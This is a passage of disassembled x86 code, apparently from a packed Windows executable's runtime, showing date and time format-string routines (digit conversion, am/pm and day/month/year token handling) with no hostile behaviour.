		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432E55:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331ADo
		mov	edx, dword_4EFC1C
		mov	dword_4EFC20, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	3
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		add	eax, 1
		push	eax
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432E82:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331B1o
		mov	ecx, dword_4EFC1C
		mov	dword_4EFC20, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		add	edx, 1
		push	edx
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432EAF:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433181o
		mov	eax, dword_4EFC1C
		mov	dword_4EFC20, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432ED7:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331B5o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_432EFC
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+98h]
		push	eax
		call	sub_433220
		add	esp, 0Ch
		jmp	short loc_432F16
; ---------------------------------------------------------------------------


loc_432EFC:				; CODE XREF: sub_432C00+2DEj
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_433220
		add	esp, 0Ch


loc_432F16:				; CODE XREF: sub_432C00+2FAj
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432F1B:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433185o
		mov	edx, dword_4EFC1C
		mov	dword_4EFC20, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432F44:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433189o
		mov	ecx, dword_4EFC1C
		mov	dword_4EFC20, ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		mov	[ebp+var_8], eax
		jmp	short loc_432FAD
; ---------------------------------------------------------------------------


loc_432F5B:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331B9o
		mov	ecx, dword_4EFC1C
		mov	dword_4EFC20, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432F85:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:0043318Do
		mov	eax, dword_4EFC1C
		mov	dword_4EFC20, eax
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_432FA1
		mov	[ebp+var_8], 6
		jmp	short loc_432FAD
; ---------------------------------------------------------------------------


loc_432FA1:				; CODE XREF: sub_432C00+396j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		sub	eax, 1
		mov	[ebp+var_8], eax


loc_432FAD:				; CODE XREF: sub_432C00+359j
					; sub_432C00+39Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+1Ch]
		cmp	edx, [ebp+var_8]
		jge	short loc_432FC1
		mov	[ebp+var_4], 0
		jmp	short loc_432FEE
; ---------------------------------------------------------------------------


loc_432FC1:				; CODE XREF: sub_432C00+3B6j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		cmp	edx, [ebp+var_8]
		jl	short loc_432FEE
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_432FEE:				; CODE XREF: sub_432C00+3BFj
					; sub_432C00+3E3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_433009:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331BDo
		cmp	dword_4EFC1C, 0
		jz	short loc_433040
		mov	dword_4EFC1C, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_4333D0
		add	esp, 14h
		jmp	short loc_433062
; ---------------------------------------------------------------------------


loc_433040:				; CODE XREF: sub_432C00+410j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_4333D0
		add	esp, 14h


loc_433062:				; CODE XREF: sub_432C00+43Ej
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_433067:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433191o
		mov	dword_4EFC1C, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_4333D0
		add	esp, 14h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_433098:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331C1o
		mov	eax, dword_4EFC1C
		mov	dword_4EFC20, eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_4330CE:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433195o
		mov	edx, dword_4EFC1C
		mov	dword_4EFC20, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	ecx, eax
		add	ecx, 13h
		imul	ecx, 64h
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		cdq
		mov	esi, 64h
		idiv	esi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_433270
		add	esp, 10h
		jmp	short loc_433168
; ---------------------------------------------------------------------------


loc_43311B:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433199o
		call	sub_42DF20
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		cmp	dword ptr [edx+20h], 0
		setnz	al
		mov	ecx, off_451DD4[eax*4]
		push	ecx
		call	sub_433220
		add	esp, 0Ch
		jmp	short loc_433168
; ---------------------------------------------------------------------------


loc_433146:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:off_43316Do
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	25h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_433168:				; CODE XREF: sub_432C00+1Bj
					; sub_432C00+2Cj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_432C00	endp

; ---------------------------------------------------------------------------
off_43316D	dd offset loc_433146	; DATA XREF: sub_432C00+2Cr
		dd offset loc_432C55
		dd offset loc_432C9B
		dd offset loc_432DE8
		dd offset loc_432E10
		dd offset loc_432EAF
		dd offset loc_432F1B
		dd offset loc_432F44
		dd offset loc_432F85
		dd offset loc_433067
		dd offset loc_4330CE
		dd offset loc_43311B
		dd offset loc_432C33
		dd offset loc_432C78
		dd offset loc_432CBE
		dd offset loc_432DBE
		dd offset loc_432E55
		dd offset loc_432E82
		dd offset loc_432ED7
		dd offset loc_432F5B
		dd offset loc_433009
		dd offset loc_433098
		dd offset loc_433168
byte_4331C9	db 0			; DATA XREF: sub_432C00+26r
		dw 1616h
		dd 6 dup(16161616h), 16020116h,	16161616h, 16160403h, 16160516h
		dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
		dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
		dd 0CC0B1514h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433220	proc near		; CODE XREF: sub_432C00+48p
					; sub_432C00+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp


loc_433223:				; CODE XREF: sub_433220+44j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_433266
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_433266
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	short loc_433223
; ---------------------------------------------------------------------------


loc_433266:				; CODE XREF: sub_433220+9j
					; sub_433220+13j
		pop	ebp
		retn
sub_433220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433270	proc near		; CODE XREF: sub_432C00+1DBp
					; sub_432C00+203p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		cmp	dword_4EFC20, 0
		jz	short loc_43329A
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_433320
		add	esp, 0Ch
		jmp	short loc_433319
; ---------------------------------------------------------------------------


loc_43329A:				; CODE XREF: sub_433270+12j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax]
		jnb	short loc_433310
		mov	edx, [ebp+arg_4]
		sub	edx, 1
		mov	[ebp+arg_4], edx
		jmp	short loc_4332B8
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_433270+82j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax


loc_4332B8:				; CODE XREF: sub_433270+3Dj
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		test	ecx, ecx
		jz	short loc_4332F4
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	eax, [ebp+arg_4]
		mov	[ecx+eax], dl
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4332AF
; ---------------------------------------------------------------------------


loc_4332F4:				; CODE XREF: sub_433270+50j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	short loc_433319
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: sub_433270+32j
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_433319:				; CODE XREF: sub_433270+28j
					; sub_433270+9Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_433270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433320	proc near		; CODE XREF: sub_433270+20p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		jbe	short loc_43337B


loc_433336:				; CODE XREF: sub_433320+59j
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jle	short loc_43337B
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		ja	short loc_433336


loc_43337B:				; CODE XREF: sub_433320+14j
					; sub_433320+51j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_433394:				; CODE XREF: sub_433320+A6j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ebp+var_C], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jb	short loc_433394
		mov	esp, ebp
		pop	ebp
		retn
sub_433320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4333D0	proc near		; CODE XREF: sub_432C00+EBp
					; sub_432C00+13Cp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h


loc_4333D6:				; CODE XREF: sub_4333D0+2EAj
					; sub_4333D0:loc_43379Bj ...
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_43384C
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_43384C
		mov	[ebp+var_8], 0
		mov	dword_4EFC20, 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_433416
; ---------------------------------------------------------------------------


loc_43340D:				; CODE XREF: sub_4333D0+5Fj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_433416:				; CODE XREF: sub_4333D0+3Bj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		cmp	eax, edx
		jnz	short loc_433431
		jmp	short loc_43340D
; ---------------------------------------------------------------------------


loc_433431:				; CODE XREF: sub_4333D0+5Dj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 27h
		mov	[ebp+var_14], edx
		cmp	[ebp+var_14], 52h
		ja	loc_4337A0
		mov	ecx, [ebp+var_14]
		xor	eax, eax
		mov	al, byte_43387C[ecx]
		jmp	off_433850[eax*4]


loc_433468:				; DATA XREF: .nsp0:0043385Co
		mov	edx, [ebp+var_C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		sub	eax, 1
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 3
		ja	short loc_4334A1
		mov	ecx, [ebp+var_18]
		jmp	dword ptr loc_4338CF[ecx*4]
		mov	dword_4EFC20, 1


loc_433491:				; CODE XREF: sub_4333D0+B0j
		mov	[ebp+var_8], 6Dh
		jmp	short loc_4334A1
; ---------------------------------------------------------------------------


loc_433497:				; CODE XREF: sub_4333D0+B0j
		mov	[ebp+var_8], 62h
		jmp	short loc_4334A1
; ---------------------------------------------------------------------------


loc_43349D:				; CODE XREF: sub_4333D0+B0j
		mov	[ebp+var_8], 42h


loc_4334A1:				; CODE XREF: sub_4333D0+ABj
					; sub_4333D0+C5j ...
		jmp	loc_4337A0
; ---------------------------------------------------------------------------


loc_4334A6:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:00433860o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 3
		ja	short loc_4334DF
		mov	ecx, [ebp+var_1C]
		jmp	dword ptr loc_4338DA+5[ecx*4]


loc_4334C5:				; CODE XREF: sub_4333D0+B0j
		mov	dword_4EFC20, 1


loc_4334CF:				; CODE XREF: sub_4333D0+B0j
					; sub_4333D0+EEj
		mov	[ebp+var_8], 64h
		jmp	short loc_4334DF
; ---------------------------------------------------------------------------


loc_4334D5:				; CODE XREF: sub_4333D0+B0j
					; sub_4333D0+EEj
		mov	[ebp+var_8], 61h
		jmp	short loc_4334DF
; ---------------------------------------------------------------------------


loc_4334DB:				; CODE XREF: sub_4333D0+B0j
					; sub_4333D0+EEj
		mov	[ebp+var_8], 41h


loc_4334DF:				; CODE XREF: sub_4333D0+E9j
					; sub_4333D0+103j ...
		jmp	loc_4337A0
; ---------------------------------------------------------------------------


loc_4334E4:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:00433874o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 2
		jz	short loc_4334F8
		cmp	[ebp+var_20], 4
		jz	short loc_4334FE
		jmp	short loc_433502
; ---------------------------------------------------------------------------


loc_4334F8:				; CODE XREF: sub_4333D0+11Ej
		mov	[ebp+var_8], 79h
		jmp	short loc_433502
; ---------------------------------------------------------------------------


loc_4334FE:				; CODE XREF: sub_4333D0+124j
		mov	[ebp+var_8], 59h


loc_433502:				; CODE XREF: sub_4333D0+126j
					; sub_4333D0+12Cj
		jmp	loc_4337A0
; ---------------------------------------------------------------------------


loc_433507:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:00433864o
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 1
		jz	short loc_43351B
		cmp	[ebp+var_24], 2
		jz	short loc_433525
		jmp	short loc_433529
; ---------------------------------------------------------------------------


loc_43351B:				; CODE XREF: sub_4333D0+141j
		mov	dword_4EFC20, 1


loc_433525:				; CODE XREF: sub_4333D0+147j
		mov	[ebp+var_8], 49h


loc_433529:				; CODE XREF: sub_4333D0+149j
		jmp	loc_4337A0
; ---------------------------------------------------------------------------


loc_43352E:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:00433858o
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 1
		jz	short loc_433542
		cmp	[ebp+var_28], 2
		jz	short loc_43354C
		jmp	short loc_433550
; ---------------------------------------------------------------------------


loc_433542:				; CODE XREF: sub_4333D0+168j
		mov	dword_4EFC20, 1


loc_43354C:				; CODE XREF: sub_4333D0+16Ej
		mov	[ebp+var_8], 48h


loc_433550:				; CODE XREF: sub_4333D0+170j
		jmp	loc_4337A0
; ---------------------------------------------------------------------------


loc_433555:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:00433868o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_2C], edx
		cmp	[ebp+var_2C], 1
		jz	short loc_433569
		cmp	[ebp+var_2C], 2
		jz	short loc_433573
		jmp	short loc_433577
; ---------------------------------------------------------------------------


loc_433569:				; CODE XREF: sub_4333D0+18Fj
		mov	dword_4EFC20, 1


loc_433573:				; CODE XREF: sub_4333D0+195j
		mov	[ebp+var_8], 4Dh


loc_433577:				; CODE XREF: sub_4333D0+197j
		jmp	loc_4337A0
; ---------------------------------------------------------------------------


loc_43357C:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:0043386Co
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 1
		jz	short loc_433590
		cmp	[ebp+var_30], 2
		jz	short loc_43359A
		jmp	short loc_43359E
; ---------------------------------------------------------------------------


loc_433590:				; CODE XREF: sub_4333D0+1B6j
		mov	dword_4EFC20, 1


loc_43359A:				; CODE XREF: sub_4333D0+1BCj
		mov	[ebp+var_8], 53h


loc_43359E:				; CODE XREF: sub_4333D0+1BEj
		jmp	loc_4337A0
; ---------------------------------------------------------------------------


loc_4335A3:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:00433854o
		push	offset aAmPm	; "am/pm"
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41DBF0
		add	esp, 8
		test	eax, eax
		jnz	short loc_4335C3
		mov	edx, [ebp+arg_0]
		add	edx, 5
		mov	[ebp+var_4], edx
		jmp	short loc_4335E1
; ---------------------------------------------------------------------------


loc_4335C3:				; CODE XREF: sub_4333D0+1E6j
		push	offset aAP	; "a/p"
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41DBF0
		add	esp, 8
		test	eax, eax
		jnz	short loc_4335E1
		mov	ecx, [ebp+arg_0]
		add	ecx, 3
		mov	[ebp+var_4], ecx


loc_4335E1:				; CODE XREF: sub_4333D0+1F1j
					; sub_4333D0+206j
		mov	[ebp+var_8], 70h
		jmp	loc_4337A0
; ---------------------------------------------------------------------------


loc_4335EA:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:00433870o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_433601
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+98h]
		mov	[ebp+var_10], ecx
		jmp	short loc_43360D
; ---------------------------------------------------------------------------


loc_433601:				; CODE XREF: sub_4333D0+221j
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+9Ch]
		mov	[ebp+var_10], eax


loc_43360D:				; CODE XREF: sub_4333D0+22Fj
					; sub_4333D0+2DFj
		cmp	[ebp+var_C], 0
		jle	loc_4336B4
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jbe	loc_4336B4
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_433677
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_433677
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx


loc_433677:				; CODE XREF: sub_4333D0+26Ej
					; sub_4333D0+276j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_43360D
; ---------------------------------------------------------------------------


loc_4336B4:				; CODE XREF: sub_4333D0+241j
					; sub_4333D0+24Dj
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	loc_4333D6
; ---------------------------------------------------------------------------


loc_4336BF:				; CODE XREF: sub_4333D0+91j
					; DATA XREF: .nsp0:off_433850o
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_433792
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	[ebp+arg_0], edx


loc_4336D6:				; CODE XREF: sub_4333D0+3BBj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_433790
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_433790
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 27h
		jnz	short loc_433709
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	loc_433790
; ---------------------------------------------------------------------------


loc_433709:				; CODE XREF: sub_4333D0+329j
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_43375C
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 1
		jbe	short loc_43375C
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_43375C:				; CODE XREF: sub_4333D0+353j
					; sub_4333D0+35Bj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	loc_4336D6
; ---------------------------------------------------------------------------


loc_433790:				; CODE XREF: sub_4333D0+30Ej
					; sub_4333D0+31Aj ...
		jmp	short loc_43379B
